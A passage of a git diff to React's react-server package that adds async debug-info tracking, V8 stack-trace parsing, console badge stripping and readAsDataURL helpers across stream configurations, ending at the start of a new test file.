+          const currentAsyncId = executionAsyncId();
+          if (asyncId !== currentAsyncId) {
+            // If the promise was not resolved by itself, then that means that
+            // the trigger that we originally stored wasn't actually the dependency.
+            // Instead, the current execution context is what ultimately unblocked it.
+            const awaited = pendingOperations.get(currentAsyncId);
+            if (resolvedNode.tag === PROMISE_NODE) {
+              // For a Promise we just override the await. We're not interested in
+              // what created the Promise itself.
+              resolvedNode.awaited = awaited === undefined ? null : awaited;
+            } else {
+              // For an await, there's really two things awaited here. It's the trigger
+              // that .then() was called on but there seems to also be something else
+              // in the .then() callback that blocked the returned Promise from resolving
+              // immediately. We create a fork node which essentially represents an await
+              // of the Promise returned from the .then() callback. That Promise was blocked
+              // on the original awaited thing which we stored as "previous".
+              if (awaited !== undefined) {
+                const clonedNode: AwaitNode = {
+                  tag: AWAIT_NODE,
+                  owner: resolvedNode.owner,
+                  stack: resolvedNode.stack,
+                  start: resolvedNode.start,
+                  end: resolvedNode.end,
+                  promise: resolvedNode.promise,
+                  awaited: resolvedNode.awaited,
+                  previous: resolvedNode.previous,
+                };
+                // We started awaiting on the callback when the original .then() resolved.
+                resolvedNode.start = resolvedNode.end;
+                // It resolved now. We could use the end time of "awaited" maybe.
+                resolvedNode.end = performance.now();
+                resolvedNode.previous = clonedNode;
+                resolvedNode.awaited = awaited;
+              }
+            }
+          }
+        }
       },
+
       destroy(asyncId: number): void {
-        // TODO
+        // If we needed the meta data from this operation we should have already
+        // extracted it or it should be part of a chain of triggers.
+        pendingOperations.delete(asyncId);
       },
     }).enable();
   }
 }
+
+export function markAsyncSequenceRootTask(): void {
+  if (__DEV__ && enableAsyncDebugInfo) {
+    // Whatever Task we're running now is spawned by React itself to perform render work.
+    // Don't track any cause beyond this task. We may still track I/O that was started outside
+    // React but just not the cause of entering the render.
+    pendingOperations.delete(executionAsyncId());
+  }
+}
+
+export function getCurrentAsyncSequence(): null | AsyncSequence {
+  if (!__DEV__ || !enableAsyncDebugInfo) {
+    return null;
+  }
+  const currentNode = pendingOperations.get(executionAsyncId());
+  if (currentNode === undefined) {
+    // Nothing that we tracked led to the resolution of this execution context.
+    return null;
+  }
+  return currentNode;
+}
+
+export function getAsyncSequenceFromPromise(
+  promise: any,
+): null | AsyncSequence {
+  if (!__DEV__ || !enableAsyncDebugInfo) {
+    return null;
+  }
+  // A Promise is conceptually an AsyncResource but doesn't have its own methods.
+  // We use this hack to extract the internal asyncId off the Promise.
+  let asyncId: void | number;
+  try {
+    asyncId = getAsyncId.call(promise);
+  } catch (x) {
+    // Ignore errors extracting the ID. We treat it as missing.
+    // This could happen if our hack stops working or in the case where this is
+    // a Proxy that throws such as our own ClientReference proxies.
+  }
+  if (asyncId === undefined) {
+    return null;
+  }
+  const node = pendingOperations.get(asyncId);
+  if (node === undefined) {
+    return null;
+  }
+  return node;
+}
diff --git a/packages/react-server/src/ReactFlightServerConfigDebugNoop.js b/packages/react-server/src/ReactFlightServerConfigDebugNoop.js
index 55661479583e..e435929114b5 100644
--- a/packages/react-server/src/ReactFlightServerConfigDebugNoop.js
+++ b/packages/react-server/src/ReactFlightServerConfigDebugNoop.js
@@ -7,5 +7,16 @@
  * @flow
  */
 
+import type {AsyncSequence} from './ReactFlightAsyncSequence';
+
 // Exported for runtimes that don't support Promise instrumentation for async debugging.
 export function initAsyncDebugInfo(): void {}
+export function markAsyncSequenceRootTask(): void {}
+export function getCurrentAsyncSequence(): null | AsyncSequence {
+  return null;
+}
+export function getAsyncSequenceFromPromise(
+  promise: any,
+): null | AsyncSequence {
+  return null;
+}
diff --git a/packages/react-server/src/ReactFlightServerTemporaryReferences.js b/packages/react-server/src/ReactFlightServerTemporaryReferences.js
index ecb21a607af6..9195afa494c9 100644
--- a/packages/react-server/src/ReactFlightServerTemporaryReferences.js
+++ b/packages/react-server/src/ReactFlightServerTemporaryReferences.js
@@ -32,7 +32,7 @@ export function resolveTemporaryReference<T>(
   return temporaryReferences.get(temporaryReference);
 }
 
-const proxyHandlers = {
+const proxyHandlers: Proxy$traps<mixed> = {
   get: function (
     target: Function,
     name: string | symbol,
@@ -52,6 +52,9 @@ const proxyHandlers = {
       // reference.
       case 'defaultProps':
         return undefined;
+      // React looks for debugInfo on thenables.
+      case '_debugInfo':
+        return undefined;
       // Avoid this attempting to be serialized.
       case 'toJSON':
         return undefined;
@@ -62,11 +65,17 @@ const proxyHandlers = {
         // $FlowFixMe[prop-missing]
         return Object.prototype[Symbol.toStringTag];
       case 'Provider':
-        throw new Error(
-          `Cannot render a Client Context Provider on the Server. ` +
-            `Instead, you can export a Client Component wrapper ` +
-            `that itself renders a Client Context Provider.`,
-        );
+        // Context.Provider === Context in React, so return the same reference.
+        // This allows server components to render <ClientContext.Provider>
+        // which will be serialized and executed on the client.
+        return receiver;
+      case 'then':
+        // Allow returning a temporary reference from an async function
+        // Unlike regular Client References, a Promise would never have been serialized as
+        // an opaque Temporary Reference, but instead would have been serialized as a
+        // Promise on the server and so doesn't hit this path. So we can assume this wasn't
+        // a Promise on the client.
+        return undefined;
     }
     throw new Error(
       // eslint-disable-next-line react-internal/safe-string-coercion
@@ -89,7 +98,6 @@ export function createTemporaryReference<T>(
   const reference: TemporaryReference<any> = Object.defineProperties(
     (function () {
       throw new Error(
-        // eslint-disable-next-line react-internal/safe-string-coercion
         `Attempted to call a temporary Client Reference from the server but it is on the client. ` +
           `It's not possible to invoke a client function from the server, it can ` +
           `only be rendered as a Component or passed to props of a Client Component.`,
diff --git a/packages/react-server/src/ReactFlightStackConfigV8.js b/packages/react-server/src/ReactFlightStackConfigV8.js
new file mode 100644
index 000000000000..1aa97cb8e6b7
--- /dev/null
+++ b/packages/react-server/src/ReactFlightStackConfigV8.js
@@ -0,0 +1,253 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactStackTrace} from 'shared/ReactTypes';
+
+let framesToSkip: number = 0;
+let collectedStackTrace: null | ReactStackTrace = null;
+
+const identifierRegExp = /^[a-zA-Z_$][0-9a-zA-Z_$]*$/;
+
+function getMethodCallName(callSite: CallSite): string {
+  const typeName = callSite.getTypeName();
+  const methodName = callSite.getMethodName();
+  const functionName = callSite.getFunctionName();
+  let result = '';
+  if (functionName) {
+    if (
+      typeName &&
+      identifierRegExp.test(functionName) &&
+      functionName !== typeName
+    ) {
+      result += typeName + '.';
+    }
+    result += functionName;
+    if (
+      methodName &&
+      functionName !== methodName &&
+      !functionName.endsWith('.' + methodName) &&
+      !functionName.endsWith(' ' + methodName)
+    ) {
+      result += ' [as ' + methodName + ']';
+    }
+  } else {
+    if (typeName) {
+      result += typeName + '.';
+    }
+    if (methodName) {
+      result += methodName;
+    } else {
+      result += '<anonymous>';
+    }
+  }
+  return result;
+}
+
+function collectStackTracePrivate(
+  error: Error,
+  structuredStackTrace: CallSite[],
+): string {
+  const result: ReactStackTrace = [];
+  // Collect structured stack traces from the callsites.
+  // We mirror how V8 serializes stack frames and how we later parse them.
+  for (let i = framesToSkip; i < structuredStackTrace.length; i++) {
+    const callSite = structuredStackTrace[i];
+    let name = callSite.getFunctionName() || '<anonymous>';
+    if (name.includes('react_stack_bottom_frame')) {
+      // Skip everything after the bottom frame since it'll be internals.
+      break;
+    } else if (callSite.isNative()) {
+      // $FlowFixMe[prop-missing]
+      const isAsync = callSite.isAsync();
+      result.push([name, '', 0, 0, 0, 0, isAsync]);
+    } else {
+      // We encode complex function calls as if they're part of the function
+      // name since we cannot simulate the complex ones and they look the same
+      // as function names in UIs on the client as well as stacks.
+      if (callSite.isConstructor()) {
+        name = 'new ' + name;
+      } else if (!callSite.isToplevel()) {
+        name = getMethodCallName(callSite);
+      }
+      if (name === '<anonymous>') {
+        name = '';
+      }
+      let filename = callSite.getScriptNameOrSourceURL() || '<anonymous>';
+      if (filename === '<anonymous>') {
+        filename = '';
+        if (callSite.isEval()) {
+          const origin = callSite.getEvalOrigin();
+          if (origin) {
+            filename = origin.toString() + ', <anonymous>';
+          }
+        }
+      }
+      const line = callSite.getLineNumber() || 0;
+      const col = callSite.getColumnNumber() || 0;
+      const enclosingLine: number =
+        // $FlowFixMe[prop-missing]
+        typeof callSite.getEnclosingLineNumber === 'function'
+          ? (callSite: any).getEnclosingLineNumber() || 0
+          : 0;
+      const enclosingCol: number =
+        // $FlowFixMe[prop-missing]
+        typeof callSite.getEnclosingColumnNumber === 'function'
+          ? (callSite: any).getEnclosingColumnNumber() || 0
+          : 0;
+      // $FlowFixMe[prop-missing]
+      const isAsync = callSite.isAsync();
+      result.push([
+        name,
+        filename,
+        line,
+        col,
+        enclosingLine,
+        enclosingCol,
+        isAsync,
+      ]);
+    }
+  }
+  collectedStackTrace = result;
+  return '';
+}
+
+function collectStackTrace(
+  error: Error,
+  structuredStackTrace: CallSite[],
+): string {
+  collectStackTracePrivate(error, structuredStackTrace);
+  // At the same time we generate a string stack trace just in case someone
+  // else reads it. Ideally, we'd call the previous prepareStackTrace to
+  // ensure it's in the expected format but it's common for that to be
+  // source mapped and since we do a lot of eager parsing of errors, it
+  // would be slow in those environments. We could maybe just rely on those
+  // environments having to disable source mapping globally to speed things up.
+  // For now, we just generate a default V8 formatted stack trace without
+  // source mapping as a fallback.
+  const name = error.name || 'Error';
+  const message = error.message || '';
+  let stack = name + ': ' + message;
+  for (let i = 0; i < structuredStackTrace.length; i++) {
+    stack += '\n    at ' + structuredStackTrace[i].toString();
+  }
+  return stack;
+}
+
+// This matches either of these V8 formats.
+//     at name (filename:0:0)
+//     at filename:0:0
+//     at async filename:0:0
+const frameRegExp =
+  /^ {3} at (?:(.+) \((?:(.+):(\d+):(\d+)|\<anonymous\>)\)|(?:async )?(.+):(\d+):(\d+)|\<anonymous\>)$/;
+
+// DEV-only cache of parsed and filtered stack frames.
+const stackTraceCache: WeakMap<Error, ReactStackTrace> = __DEV__
+  ? new WeakMap()
+  : (null: any);
+
+// This version is only used when React fully owns the Error object and there's no risk of it having
+// been already initialized and no risky that anyone else will initialize it later.
+export function parseStackTracePrivate(
+  error: Error,
+  skipFrames: number,
+): null | ReactStackTrace {
+  collectedStackTrace = null;
+  framesToSkip = skipFrames;
+  const previousPrepare = Error.prepareStackTrace;
+  Error.prepareStackTrace = collectStackTracePrivate;
+  try {
+    if (error.stack !== '') {
+      return null;
+    }
+  } finally {
+    Error.prepareStackTrace = previousPrepare;
+  }
+  return collectedStackTrace;
+}
+
+export function parseStackTrace(
+  error: Error,
+  skipFrames: number,
+): ReactStackTrace {
+  // We can only get structured data out of error objects once. So we cache the information
+  // so we can get it again each time. It also helps performance when the same error is
+  // referenced more than once.
+  const existing = stackTraceCache.get(error);
+  if (existing !== undefined) {
+    return existing;
+  }
+  // We override Error.prepareStackTrace with our own version that collects
+  // the structured data. We need more information than the raw stack gives us
+  // and we need to ensure that we don't get the source mapped version.
+  collectedStackTrace = null;
+  framesToSkip = skipFrames;
+  const previousPrepare = Error.prepareStackTrace;
+  Error.prepareStackTrace = collectStackTrace;
+  let stack;
+  try {
+    // eslint-disable-next-line react-internal/safe-string-coercion
+    stack = String(error.stack);
+  } finally {
+    Error.prepareStackTrace = previousPrepare;
+  }
+
+  if (collectedStackTrace !== null) {
+    const result = collectedStackTrace;
+    collectedStackTrace = null;
+    stackTraceCache.set(error, result);
+    return result;
+  }
+
+  // If the stack has already been read, or this is not actually a V8 compatible
+  // engine then we might not get a normalized stack and it might still have been
+  // source mapped. Regardless we try our best to parse it. This works best if the
+  // environment just uses default V8 formatting and no source mapping.
+
+  if (stack.startsWith('Error: react-stack-top-frame\n')) {
+    // V8's default formatting prefixes with the error message which we
+    // don't want/need.
+    stack = stack.slice(29);
+  }
+  let idx = stack.indexOf('react_stack_bottom_frame');
+  if (idx !== -1) {
+    idx = stack.lastIndexOf('\n', idx);
+  }
+  if (idx !== -1) {
+    // Cut off everything after the bottom frame since it'll be internals.
+    stack = stack.slice(0, idx);
+  }
+  const frames = stack.split('\n');
+  const parsedFrames: ReactStackTrace = [];
+  // We skip top frames here since they may or may not be parseable but we
+  // want to skip the same number of frames regardless. I.e. we can't do it
+  // in the caller.
+  for (let i = skipFrames; i < frames.length; i++) {
+    const parsed = frameRegExp.exec(frames[i]);
+    if (!parsed) {
+      continue;
+    }
+    let name = parsed[1] || '';
+    let isAsync = parsed[8] === 'async ';
+    if (name === '<anonymous>') {
+      name = '';
+    } else if (name.startsWith('async ')) {
+      name = name.slice(5);
+      isAsync = true;
+    }
+    let filename = parsed[2] || parsed[5] || '';
+    if (filename === '<anonymous>') {
+      filename = '';
+    }
+    const line = +(parsed[3] || parsed[6]);
+    const col = +(parsed[4] || parsed[7]);
+    parsedFrames.push([name, filename, line, col, 0, 0, isAsync]);
+  }
+  stackTraceCache.set(error, parsedFrames);
+  return parsedFrames;
+}
diff --git a/packages/react-server/src/ReactFlightThenable.js b/packages/react-server/src/ReactFlightThenable.js
index cfda818f19ff..99ddb36fa599 100644
--- a/packages/react-server/src/ReactFlightThenable.js
+++ b/packages/react-server/src/ReactFlightThenable.js
@@ -20,7 +20,11 @@ import type {
   RejectedThenable,
 } from 'shared/ReactTypes';
 
-export opaque type ThenableState = Array<Thenable<any>>;
+import {enableAsyncDebugInfo} from 'shared/ReactFeatureFlags';
+
+import noop from 'shared/noop';
+
+export type ThenableState = Array<Thenable<any>>;
 
 // An error that is thrown (e.g. by `use`) to trigger Suspense. If we
 // detect this is caught by userspace, we'll log a warning in development.
@@ -31,7 +35,7 @@ export const SuspenseException: mixed = new Error(
     '`try/catch` block. Capturing without rethrowing will lead to ' +
     'unexpected behavior.\n\n' +
     'To handle async errors, wrap your component in an error boundary, or ' +
-    "call the promise's `.catch` method and pass the result to `use`",
+    "call the promise's `.catch` method and pass the result to `use`.",
 );
 
 export function createThenableState(): ThenableState {
@@ -40,8 +44,6 @@ export function createThenableState(): ThenableState {
   return [];
 }
 
-function noop(): void {}
-
 export function trackUsedThenable<T>(
   thenableState: ThenableState,
   thenable: Thenable<T>,
@@ -50,6 +52,11 @@ export function trackUsedThenable<T>(
   const previous = thenableState[index];
   if (previous === undefined) {
     thenableState.push(thenable);
+    if (__DEV__ && enableAsyncDebugInfo) {
+      const stacks: Array<Error> =
+        (thenableState: any)._stacks || ((thenableState: any)._stacks = []);
+      stacks.push(new Error());
+    }
   } else {
     if (previous !== thenable) {
       // Reuse the previous thenable, and drop the new one. We can assume
@@ -107,7 +114,7 @@ export function trackUsedThenable<T>(
       }
 
       // Check one more time in case the thenable resolved synchronously
-      switch (thenable.status) {
+      switch ((thenable: Thenable<T>).status) {
         case 'fulfilled': {
           const fulfilledThenable: FulfilledThenable<T> = (thenable: any);
           return fulfilledThenable.value;
diff --git a/packages/react-server/src/ReactServerConsoleConfigBrowser.js b/packages/react-server/src/ReactServerConsoleConfigBrowser.js
new file mode 100644
index 000000000000..be8bf9534670
--- /dev/null
+++ b/packages/react-server/src/ReactServerConsoleConfigBrowser.js
@@ -0,0 +1,66 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Keep in sync with ReactClientConsoleConfig
+const badgeFormat = '%c%s%c';
+// Same badge styling as DevTools.
+const badgeStyle =
+  // We use a fixed background if light-dark is not supported, otherwise
+  // we use a transparent background.
+  'background: #e6e6e6;' +
+  'background: light-dark(rgba(0,0,0,0.1), rgba(255,255,255,0.25));' +
+  'color: #000000;' +
+  'color: light-dark(#000000, #ffffff);' +
+  'border-radius: 2px';
+
+const padLength = 1;
+
+// This mutates the args to remove any badges that was added by a FlightClient and
+// returns the name in the badge. This is used when a FlightClient replays inside
+// a FlightServer and we capture those replays.
+export function unbadgeConsole(
+  methodName: string,
+  args: Array<any>,
+): null | string {
+  let offset = 0;
+  switch (methodName) {
+    case 'dir':
+    case 'dirxml':
+    case 'groupEnd':
+    case 'table': {
+      // These methods cannot be colorized because they don't take a formatting string.
+      // So we wouldn't have added any badge in the first place.
+      // $FlowFixMe
+      return null;
+    }
+    case 'assert': {
+      // assert takes formatting options as the second argument.
+      offset = 1;
+    }
+  }
+  const format = args[offset];
+  const style = args[offset + 1];
+  const badge = args[offset + 2];
+  if (
+    typeof format === 'string' &&
+    format.startsWith(badgeFormat) &&
+    style === badgeStyle &&
+    typeof badge === 'string'
+  ) {
+    // Remove our badging from the arguments.
+    let unbadgedFormat = format.slice(badgeFormat.length);
+    if (unbadgedFormat[0] === ' ') {
+      // Spacing added on the Client if the original argument was a string.
+      unbadgedFormat = unbadgedFormat.slice(1);
+    }
+    args.splice(offset, 4, unbadgedFormat);
+    return badge.slice(padLength, badge.length - padLength);
+  }
+  return null;
+}
diff --git a/packages/react-server/src/ReactServerConsoleConfigPlain.js b/packages/react-server/src/ReactServerConsoleConfigPlain.js
new file mode 100644
index 000000000000..d93e5f1a0ddf
--- /dev/null
+++ b/packages/react-server/src/ReactServerConsoleConfigPlain.js
@@ -0,0 +1,57 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Keep in sync with ReactClientConsoleConfig
+const badgeFormat = '[%s]';
+const padLength = 1;
+const pad = ' ';
+
+// This mutates the args to remove any badges that was added by a FlightClient and
+// returns the name in the badge. This is used when a FlightClient replays inside
+// a FlightServer and we capture those replays.
+export function unbadgeConsole(
+  methodName: string,
+  args: Array<any>,
+): null | string {
+  let offset = 0;
+  switch (methodName) {
+    case 'dir':
+    case 'dirxml':
+    case 'groupEnd':
+    case 'table': {
+      // These methods cannot be colorized because they don't take a formatting string.
+      // So we wouldn't have added any badge in the first place.
+      // $FlowFixMe
+      return null;
+    }
+    case 'assert': {
+      // assert takes formatting options as the second argument.
+      offset = 1;
+    }
+  }
+  const format = args[offset];
+  const badge = args[offset + 1];
+  if (
+    typeof format === 'string' &&
+    format.startsWith(badgeFormat) &&
+    typeof badge === 'string' &&
+    badge.startsWith(pad) &&
+    badge.endsWith(pad)
+  ) {
+    // Remove our badging from the arguments.
+    let unbadgedFormat = format.slice(badgeFormat.length);
+    if (unbadgedFormat[0] === ' ') {
+      // Spacing added on the Client if the original argument was a string.
+      unbadgedFormat = unbadgedFormat.slice(1);
+    }
+    args.splice(offset, 4, unbadgedFormat);
+    return badge.slice(padLength, badge.length - padLength);
+  }
+  return null;
+}
diff --git a/packages/react-server/src/ReactServerConsoleConfigServer.js b/packages/react-server/src/ReactServerConsoleConfigServer.js
new file mode 100644
index 000000000000..7987b9b262fa
--- /dev/null
+++ b/packages/react-server/src/ReactServerConsoleConfigServer.js
@@ -0,0 +1,65 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Keep in sync with ReactClientConsoleConfig
+const badgeFormat = '\x1b[0m\x1b[7m%c%s\x1b[0m%c';
+// Same badge styling as DevTools.
+const badgeStyle =
+  // We use a fixed background if light-dark is not supported, otherwise
+  // we use a transparent background.
+  'background: #e6e6e6;' +
+  'background: light-dark(rgba(0,0,0,0.1), rgba(255,255,255,0.25));' +
+  'color: #000000;' +
+  'color: light-dark(#000000, #ffffff);' +
+  'border-radius: 2px';
+const padLength = 1;
+
+// This mutates the args to remove any badges that was added by a FlightClient and
+// returns the name in the badge. This is used when a FlightClient replays inside
+// a FlightServer and we capture those replays.
+export function unbadgeConsole(
+  methodName: string,
+  args: Array<any>,
+): null | string {
+  let offset = 0;
+  switch (methodName) {
+    case 'dir':
+    case 'dirxml':
+    case 'groupEnd':
+    case 'table': {
+      // These methods cannot be colorized because they don't take a formatting string.
+      // So we wouldn't have added any badge in the first place.
+      // $FlowFixMe
+      return null;
+    }
+    case 'assert': {
+      // assert takes formatting options as the second argument.
+      offset = 1;
+    }
+  }
+  const format = args[offset];
+  const style = args[offset + 1];
+  const badge = args[offset + 2];
+  if (
+    typeof format === 'string' &&
+    format.startsWith(badgeFormat) &&
+    style === badgeStyle &&
+    typeof badge === 'string'
+  ) {
+    // Remove our badging from the arguments.
+    let unbadgedFormat = format.slice(badgeFormat.length);
+    if (unbadgedFormat[0] === ' ') {
+      // Spacing added on the Client if the original argument was a string.
+      unbadgedFormat = unbadgedFormat.slice(1);
+    }
+    args.splice(offset, 4, unbadgedFormat);
+    return badge.slice(padLength, badge.length - padLength);
+  }
+  return null;
+}
diff --git a/packages/react-server/src/ReactServerStreamConfigBrowser.js b/packages/react-server/src/ReactServerStreamConfigBrowser.js
index 2e68ca711754..41d9aedd0053 100644
--- a/packages/react-server/src/ReactServerStreamConfigBrowser.js
+++ b/packages/react-server/src/ReactServerStreamConfigBrowser.js
@@ -192,3 +192,13 @@ export function closeWithError(destination: Destination, error: mixed): void {
 }
 
 export {createFastHashJS as createFastHash} from 'react-server/src/createFastHashJS';
+
+export function readAsDataURL(blob: Blob): Promise<string> {
+  return new Promise((resolve, reject) => {
+    const reader = new FileReader();
+    // $FlowFixMe[incompatible-call]: We always expect a string result with readAsDataURL.
+    reader.onloadend = () => resolve(reader.result);
+    reader.onerror = reject;
+    reader.readAsDataURL(blob);
+  });
+}
diff --git a/packages/react-server/src/ReactServerStreamConfigBun.js b/packages/react-server/src/ReactServerStreamConfigBun.js
index 81f86a50b7b2..a9079bee43a6 100644
--- a/packages/react-server/src/ReactServerStreamConfigBun.js
+++ b/packages/react-server/src/ReactServerStreamConfigBun.js
@@ -9,13 +9,22 @@
 
 /* global Bun */
 
+import type {Writable} from 'stream';
+
 type BunReadableStreamController = ReadableStreamController & {
   end(): mixed,
   write(data: Chunk | BinaryChunk): void,
   error(error: Error): void,
   flush?: () => void,
 };
-export type Destination = BunReadableStreamController;
+
+interface MightBeFlushable {
+  flush?: () => void;
+}
+
+export type Destination =
+  | BunReadableStreamController
+  | (Writable & MightBeFlushable);
 
 export type PrecomputedChunk = string;
 export opaque type Chunk = string;
@@ -46,6 +55,7 @@ export function writeChunk(
     return;
   }
 
+  // $FlowFixMe[incompatible-call]: write() is compatible with both types in Bun
   destination.write(chunk);
 }
 
@@ -53,6 +63,7 @@ export function writeChunkAndReturn(
   destination: Destination,
   chunk: PrecomputedChunk | Chunk | BinaryChunk,
 ): boolean {
+  // $FlowFixMe[incompatible-call]: write() is compatible with both types in Bun
   return !!destination.write(chunk);
 }
 
@@ -86,10 +97,21 @@ export function byteLengthOfBinaryChunk(chunk: BinaryChunk): number {
 }
 
 export function closeWithError(destination: Destination, error: mixed): void {
+  // $FlowFixMe[incompatible-use]
+  // $FlowFixMe[method-unbinding]
   if (typeof destination.error === 'function') {
     // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.
     destination.error(error);
-  } else {
+
+    // $FlowFixMe[incompatible-use]
+    // $FlowFixMe[method-unbinding]
+  } else if (typeof destination.destroy === 'function') {
+    // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.
+    destination.destroy(error);
+
+    // $FlowFixMe[incompatible-use]
+    // $FlowFixMe[method-unbinding]
+  } else if (typeof destination.close === 'function') {
     // Earlier implementations doesn't support this method. In that environment you're
     // supposed to throw from a promise returned but we don't return a promise in our
     // approach. We could fork this implementation but this is environment is an edge
@@ -100,6 +122,14 @@ export function closeWithError(destination: Destination, error: mixed): void {
   }
 }
 
-export function createFastHash(input: string): string | number {
+export function createFastHash(input: string): number {
   return Bun.hash(input);
 }
+
+export function readAsDataURL(blob: Blob): Promise<string> {
+  return blob.arrayBuffer().then(arrayBuffer => {
+    const encoded = Buffer.from(arrayBuffer).toString('base64');
+    const mimeType = blob.type || 'application/octet-stream';
+    return 'data:' + mimeType + ';base64,' + encoded;
+  });
+}
diff --git a/packages/react-server/src/ReactServerStreamConfigEdge.js b/packages/react-server/src/ReactServerStreamConfigEdge.js
index 22f165ded94c..90affdc6b8ac 100644
--- a/packages/react-server/src/ReactServerStreamConfigEdge.js
+++ b/packages/react-server/src/ReactServerStreamConfigEdge.js
@@ -37,7 +37,11 @@ export function flushBuffered(destination: Destination) {
   // transform streams. https://github.com/whatwg/streams/issues/960
 }
 
-const VIEW_SIZE = 2048;
+// Chunks larger than VIEW_SIZE are written directly, without copying into the
+// internal view buffer. This must be at least half of Node's internal Buffer
+// pool size (8192) to avoid corrupting the pool when using
+// renderToReadableStream, which uses a byte stream that detaches ArrayBuffers.
+const VIEW_SIZE = 4096;
 let currentView = null;
 let writtenBytes = 0;
 
@@ -147,14 +151,7 @@ export function typedArrayToBinaryChunk(
   // If we passed through this straight to enqueue we wouldn't have to convert it but since
   // we need to copy the buffer in that case, we need to convert it to copy it.
   // When we copy it into another array using set() it needs to be a Uint8Array.
-  const buffer = new Uint8Array(
-    content.buffer,
-    content.byteOffset,
-    content.byteLength,
-  );
-  // We clone large chunks so that we can transfer them when we write them.
-  // Others get copied into the target buffer.
-  return content.byteLength > VIEW_SIZE ? buffer.slice() : buffer;
+  return new Uint8Array(content.buffer, content.byteOffset, content.byteLength);
 }
 
 export function byteLengthOfChunk(chunk: Chunk | PrecomputedChunk): number {
@@ -182,3 +179,14 @@ export function closeWithError(destination: Destination, error: mixed): void {
 }
 
 export {createFastHashJS as createFastHash} from 'react-server/src/createFastHashJS';
+
+export function readAsDataURL(blob: Blob): Promise<string> {
+  return blob.arrayBuffer().then(arrayBuffer => {
+    const encoded =
+      typeof Buffer === 'function' && typeof Buffer.from === 'function'
+        ? Buffer.from(arrayBuffer).toString('base64')
+        : btoa(String.fromCharCode.apply(String, new Uint8Array(arrayBuffer)));
+    const mimeType = blob.type || 'application/octet-stream';
+    return 'data:' + mimeType + ';base64,' + encoded;
+  });
+}
diff --git a/packages/react-server/src/ReactServerStreamConfigFB.js b/packages/react-server/src/ReactServerStreamConfigFB.js
index 2257d0b3b78b..61d678ed6958 100644
--- a/packages/react-server/src/ReactServerStreamConfigFB.js
+++ b/packages/react-server/src/ReactServerStreamConfigFB.js
@@ -60,9 +60,9 @@ export function typedArrayToBinaryChunk(
   throw new Error('Not implemented.');
 }
 
-export function byteLengthOfChunk(chunk: Chunk | PrecomputedChunk): number {
-  throw new Error('Not implemented.');
-}
+export const byteLengthOfChunk:
+  | null
+  | ((chunk: Chunk | PrecomputedChunk) => number) = null;
 
 export function byteLengthOfBinaryChunk(chunk: BinaryChunk): number {
   throw new Error('Not implemented.');
@@ -75,3 +75,7 @@ export function closeWithError(destination: Destination, error: mixed): void {
 }
 
 export {createFastHashJS as createFastHash} from './createFastHashJS';
+
+export function readAsDataURL(blob: Blob): Promise<string> {
+  throw new Error('Not implemented.');
+}
diff --git a/packages/react-server/src/ReactServerStreamConfigNode.js b/packages/react-server/src/ReactServerStreamConfigNode.js
index 773c998610df..90609da2c45d 100644
--- a/packages/react-server/src/ReactServerStreamConfigNode.js
+++ b/packages/react-server/src/ReactServerStreamConfigNode.js
@@ -38,7 +38,11 @@ export function flushBuffered(destination: Destination) {
   }
 }
 
-const VIEW_SIZE = 2048;
+// Chunks larger than VIEW_SIZE are written directly, without copying into the
+// internal view buffer. This must be at least half of Node's internal Buffer
+// pool size (8192) to avoid corrupting the pool when using
+// renderToReadableStream, which uses a byte stream that detaches ArrayBuffers.
+const VIEW_SIZE = 4096;
 let currentView = null;
 let writtenBytes = 0;
 let destinationHasCapacity = true;
@@ -63,7 +67,8 @@ function writeStringChunk(destination: Destination, stringChunk: string) {
       currentView = new Uint8Array(VIEW_SIZE);
       writtenBytes = 0;
     }
-    writeToDestination(destination, textEncoder.encode(stringChunk));
+    // Write the raw string chunk and let the consumer handle the encoding.
+    writeToDestination(destination, stringChunk);
     return;
   }
 
@@ -188,7 +193,7 @@ export function close(destination: Destination) {
   destination.end();
 }
 
-const textEncoder = new TextEncoder();
+export const textEncoder: TextEncoder = new TextEncoder();
 
 export function stringToChunk(content: string): Chunk {
   return content;
@@ -235,3 +240,11 @@ export function createFastHash(input: string): string | number {
   hash.update(input);
   return hash.digest('hex');
 }
+
+export function readAsDataURL(blob: Blob): Promise<string> {
+  return blob.arrayBuffer().then(arrayBuffer => {
+    const encoded = Buffer.from(arrayBuffer).toString('base64');
+    const mimeType = blob.type || 'application/octet-stream';
+    return 'data:' + mimeType + ';base64,' + encoded;
+  });
+}
diff --git a/packages/react-server/src/ReactSharedInternalsServer.js b/packages/react-server/src/ReactSharedInternalsServer.js
index 8ef67044feca..efc3588a6452 100644
--- a/packages/react-server/src/ReactSharedInternalsServer.js
+++ b/packages/react-server/src/ReactSharedInternalsServer.js
@@ -7,9 +7,11 @@
  * @flow
  */
 
+import type {SharedStateServer} from 'react/src/ReactSharedInternalsServer';
+
 import * as React from 'react';
 
-const ReactSharedInternalsServer =
+const ReactSharedInternalsServer: SharedStateServer =
   // $FlowFixMe: It's defined in the one we resolve to.
   React.__SERVER_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;
 
diff --git a/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js b/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js
new file mode 100644
index 000000000000..5107fc0bfaea
--- /dev/null
+++ b/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js
@@ -0,0 +1,3672 @@
+/**
+ * @jest-environment node
+ */
+'use strict';
+
+import {patchSetImmediate} from '../../../../scripts/jest/patchSetImmediate';
+
+import crypto from 'crypto';
+import fs from 'fs/promises';
+import path from 'path';
+
+let React;
+let ReactServer;
+let cache;
+let ReactServerDOMServer;
+let ReactServerDOMClient;
+let Stream;
+let observer;
+let getDebugInfo;
+
